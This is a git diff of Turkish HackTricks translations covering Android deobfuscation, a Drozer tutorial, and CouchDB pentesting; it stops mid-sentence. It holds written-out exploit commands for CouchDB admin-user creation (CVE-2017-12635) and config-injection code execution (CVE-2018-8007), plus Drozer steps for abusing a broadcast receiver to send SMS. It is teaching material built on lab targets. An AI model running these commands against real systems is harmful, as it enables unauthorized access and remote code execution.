[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize edebilmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
|
||||
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır.
|
||||
|
||||
@ -686,12 +686,12 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın
|
||||
|
||||
APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresinde bulabilirsiniz.
|
||||
|
||||
(Bu kılavuzdan) En son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
|
||||
|
||||
- Bir kaynağı InputStream olarak yüklemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
|
||||
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
@ -710,11 +710,11 @@ Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanalla
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
||||
@ -2,16 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Test edilecek APK'lar
|
||||
|
||||
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
|
||||
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||
|
||||
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
|
||||
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
|
||||
|
||||
## Kurulum
|
||||
|
||||
Drozer Client'ı ana bilgisayarınıza kurun. [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin.
|
||||
Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan indirin](https://github.com/mwrlabs/drozer/releases).
|
||||
```bash
|
||||
pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
@ -27,11 +29,11 @@ Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇIK**" butonuna basın.
|
||||
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın.
|
||||
|
||||
.png>)
|
||||
|
||||
Ve buna bağlanın:
|
||||
Ve ona bağlanın:
|
||||
```bash
|
||||
drozer console connect
|
||||
```
|
||||
@ -39,22 +41,22 @@ drozer console connect
|
||||
|
||||
| **Komutlar** | **Açıklama** |
|
||||
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Seçilen modülün yardımını gösterir |
|
||||
| **Help MODULE** | Seçilen modülün yardımını gösterir |
|
||||
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
|
||||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||||
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
|
||||
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. |
|
||||
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla yürütür. |
|
||||
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
|
||||
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
|
||||
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
|
||||
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
|
||||
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
|
||||
| **run MODULE** | Bir drozer modülünü çalıştırır |
|
||||
| **exploit** | Drozer, cihazda çalıştırmak için istismarlar oluşturabilir. `drozer exploit list` |
|
||||
| **payload** | İstismarların bir yükü olması gerekir. `drozer payload list` |
|
||||
| **run MODULE** | Bir drozer modülünü yürütür |
|
||||
| **exploit** | Drozer, cihazda yürütmek için istismarlar oluşturabilir. `drozer exploit list` |
|
||||
| **payload** | İstismarların bir yükü gereklidir. `drozer payload list` |
|
||||
|
||||
### Paket
|
||||
|
||||
Paketin **adını** adın bir kısmıyla filtreleyerek bulun:
|
||||
**İsim** kısmını filtreleyerek paketin **adını** bulun:
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
@ -83,7 +85,7 @@ Defines Permissions:
|
||||
```bash
|
||||
run app.package.manifest jakhar.aseem.diva
|
||||
```
|
||||
**Paketin saldırı yüzeyi:**
|
||||
Paketin **saldırı yüzeyi**:
|
||||
```bash
|
||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||
Attack Surface:
|
||||
@ -105,7 +107,7 @@ Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri An
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
**Dışa Aktarılan Aktiviteleri Listele**:
|
||||
**Dışa aktarılan aktiviteleri listele**:
|
||||
```bash
|
||||
dz> run app.activity.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
@ -119,7 +121,7 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi
|
||||
```bash
|
||||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||||
```
|
||||
Ayrıca **adb** üzerinden bir dışa aktarılan etkinliği başlatabilirsiniz:
|
||||
**adb** ile dışa aktarılmış bir etkinliği de başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
|
||||
@ -136,7 +138,7 @@ Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır:
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
Kodun içinde **check** için \*\*`handleMessage`\*\* fonksiyonunu kontrol edin, bu fonksiyon **message** alacaktır:
|
||||
Kodun içinde **check** için **`handleMessage`** fonksiyonunu **alacak** olan **message**'ı kontrol edin:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -175,13 +177,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Broadcast Receivers
|
||||
### Broadcast Alıcıları
|
||||
|
||||
**Android temel bilgi bölümünde Broadcast Receiver'ın ne olduğunu görebilirsiniz**.
|
||||
**Android temel bilgi bölümünde Broadcast Alıcısının ne olduğunu görebilirsiniz**.
|
||||
|
||||
Bu Broadcast Receiver'ları keşfettikten sonra **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin.
|
||||
Bu Broadcast Alıcılarını keşfettikten sonra, **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin.
|
||||
|
||||
#### **Tüm** broadcast receiver'ları tespit et
|
||||
#### **Tüm** broadcast alıcılarını tespit et
|
||||
```bash
|
||||
run app.broadcast.info #Detects all
|
||||
```
|
||||
@ -214,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
|
||||
```
|
||||
#### Mesaj Gönder
|
||||
|
||||
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe** **rastgele bir SMS** gönderebilirsiniz.
|
||||
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -227,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### Debuggable mı
|
||||
|
||||
Bir üretim APK'sı asla debuggable olmamalıdır.\
|
||||
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
|
||||
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi](../exploiting-a-debuggeable-applciation.md) var, uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
|
||||
|
||||
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
|
||||
```xml
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**CouchDB**, verileri her **belge** içinde bir **anahtar-değer haritası** yapısı kullanarak organize eden çok yönlü ve güçlü bir **belge odaklı veritabanıdır**. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak **anahtar/değer çiftleri, listeler veya haritalar** olarak temsil edilebilir.
|
||||
|
||||
CouchDB'de saklanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, veritabanındaki verilerin kolayca alınmasını ve senkronize edilmesini sağlayarak **değişikliklerin etkili bir şekilde izlenmesini ve yönetilmesini** mümkün kılar.
|
||||
CouchDB'de saklanan her **belge**, belge düzeyinde bir **benzersiz tanımlayıcı** (`_id`) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik, bir **revizyon numarası** (`_rev`) ile atanır. Bu revizyon numarası, değişikliklerin verimli bir şekilde **izlenmesi ve yönetilmesini** sağlar, veritabanı içindeki verilerin kolayca alınmasını ve senkronizasyonunu kolaylaştırır.
|
||||
|
||||
**Varsayılan port:** 5984(http), 6984(https)
|
||||
```
|
||||
@ -30,28 +30,28 @@ Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerd
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
> [!NOTE]
|
||||
> CouchDB'nin köküne erişim sağlarsanız `401 Unauthorized` hatası alırsanız, bu gibi bir mesajla: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişim sağlayamazsınız.**
|
||||
> CouchDB'nin köküne erişmeye çalıştığınızda `401 Unauthorized` gibi bir yanıt alırsanız: `{"error":"unauthorized","reason":"Authentication required."}` **banner'a veya başka bir uç noktaya erişemezsiniz.**
|
||||
|
||||
### Bilgi Sayımı
|
||||
|
||||
Aşağıdaki uç noktalar, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. [**Daha fazla uç nokta ve daha ayrıntılı açıklamalar için couchdb belgelerine**](https://docs.couchdb.org/en/latest/api/index.html) bakabilirsiniz.
|
||||
Aşağıdaki uç noktalar, **GET** isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. [**Daha fazla uç nokta ve daha ayrıntılı açıklamaları couchdb belgelerinde bulabilirsiniz**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
- **`/_active_tasks`** Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil.
|
||||
- **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döner.
|
||||
- \*\*`/_cluster_setup`\*\* Düğüm veya kümenin durumunu, küme kurulum sihirbazına göre döner.
|
||||
- **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döner. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir.
|
||||
- **`/_all_dbs`** CouchDB örneğindeki tüm veritabanlarının listesini döndürür.
|
||||
- **`/_cluster_setup`** Küme kurulum sihirbazına göre düğüm veya kümenin durumunu döndürür.
|
||||
- **`/_db_updates`** CouchDB örneğindeki tüm veritabanı olaylarının listesini döndürür. Bu uç noktayı kullanmak için `_global_changes` veritabanının varlığı gereklidir.
|
||||
- **`/_membership`** Kümenin bir parçası olan düğümleri `cluster_nodes` olarak görüntüler. `all_nodes` alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir.
|
||||
- **`/_scheduler/jobs`** Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir.
|
||||
- **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döner.
|
||||
- **`/_scheduler/docs`** Çoğaltma belge durumlarının listesi. `tamamlandı` ve `başarısız` durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döndürür.
|
||||
- **`/_scheduler/docs/{replicator_db}`**
|
||||
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
- **`/_node/{node-name}`** `/_node/{node-name}` uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu, `/_node/_local` erişirken bu bilgiyi almak için en faydalıdır.
|
||||
- **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döner. `_local` literal dizesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleri ile etkileşimde bulunmak için.
|
||||
- **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döner. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `_local` kullanabilirsiniz.
|
||||
- **`/_node/{node-name}/_stats`** `_stats` kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döndürür. `_local` kelimesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde `{node-name}` `_local` ile değiştirilebilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için.
|
||||
- **`/_node/{node-name}/_system`** \_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döndürür. Mevcut düğüm bilgilerini almak için `{node-name}` olarak `'_local'` kullanabilirsiniz.
|
||||
- **`/_node/{node-name}/_restart`**
|
||||
- **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı dönecektir.
|
||||
- \*\*`/_uuids`\*\* CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder.
|
||||
- \*\*`/_reshard`\*\* Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döner.
|
||||
- **`/_up`** Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğer [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` veya `nolb` ise, uç nokta 404 yanıtı döndürecektir.
|
||||
- **`/_uuids`** CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder.
|
||||
- **`/_reshard`** Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döndürür.
|
||||
|
||||
Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
@ -63,15 +63,15 @@ Eğer bu istek **401 yetkisiz** ile yanıt verirse, veritabanına erişmek için
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti bruteforce etmek**](../generic-hacking/brute-force.md#couchdb).
|
||||
Geçerli Kimlik Bilgilerini bulmak için **şunu deneyebilirsiniz**: [**hizmeti brute force yapmak**](../generic-hacking/brute-force.md#couchdb).
|
||||
|
||||
Bu, **yeterli ayrıcalıklara** sahip olduğunuzda veritabanlarını listelemek için bir couchdb **yanıtı** örneğidir (Sadece bir db listesi):
|
||||
Bu, **yeterli ayrıcalıklara** sahip olduğunuzda veritabanlarını listelemek için bir couchdb **yanıtı** örneğidir (Sadece bir veritabanı listesi):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Veritabanı Bilgisi
|
||||
### Database Info
|
||||
|
||||
Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) elde edebilirsiniz:
|
||||
Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) alabilirsiniz:
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
```
|
||||
## CouchDB Yetki Yükseltme [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde, aşağıdaki isteği kullanarak `hacktricks:hacktricks` kimlik bilgileriyle **bir yönetici kullanıcı** oluşturabilirsiniz:
|
||||
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde aşağıdaki isteği kullanarak **bir yönetici kullanıcısı** oluşturabilirsiniz:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
@ -118,24 +118,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda port kullanımına değinilmektedir. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmiştir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port `4369`'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.
|
||||
CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), CouchDB'nin küme modunda kullandığı portlar tartışılmaktadır. Tekil modda olduğu gibi, port `5984`'ün kullanıldığı belirtilmektedir. Ayrıca, port `5986` düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port `4369`'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.
|
||||
|
||||
Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port, İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.
|
||||
Port `4369` ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
Bu "cookie"nin Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang cookie'lerini yetkisiz bir şekilde kullanma metodolojilerini detaylandırmaktadır. [**Erlang cookie'lerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
|
||||
Bu "çerez"in Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang çerezlerinin yetkisiz bir şekilde nasıl kullanılacağına dair metodolojileri detaylandırmaktadır. [**Erlang çerezlerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
|
||||
|
||||
### **local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı**
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıçtaki hedef sisteme doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır.
|
||||
Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için `local.ini` dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıç hedef sistemine doğrudan uygulanamasa da, keşif amaçları için `local.ini` dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır.
|
||||
|
||||
Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır ve izinler listelenerek doğrulanır:
|
||||
Öncelikle, `local.ini` dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır; izinler listelenerek doğrulanır:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Zafiyeti istismar etmek için, `local.ini` dosyasındaki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan ek komutlarla birlikte yeni bir köken enjekte eder:
|
||||
Zafiyeti istismar etmek için, `local.ini` dosyasındaki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan yeni bir köken ve ek komutlar enjekte eder:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
@ -166,7 +166,7 @@ root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gereksinimi. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.
|
||||
Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gerekliliği. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.
|
||||
|
||||
CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
@ -174,7 +174,7 @@ CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE
|
||||
|
||||
Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelenmiştir; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:
|
||||
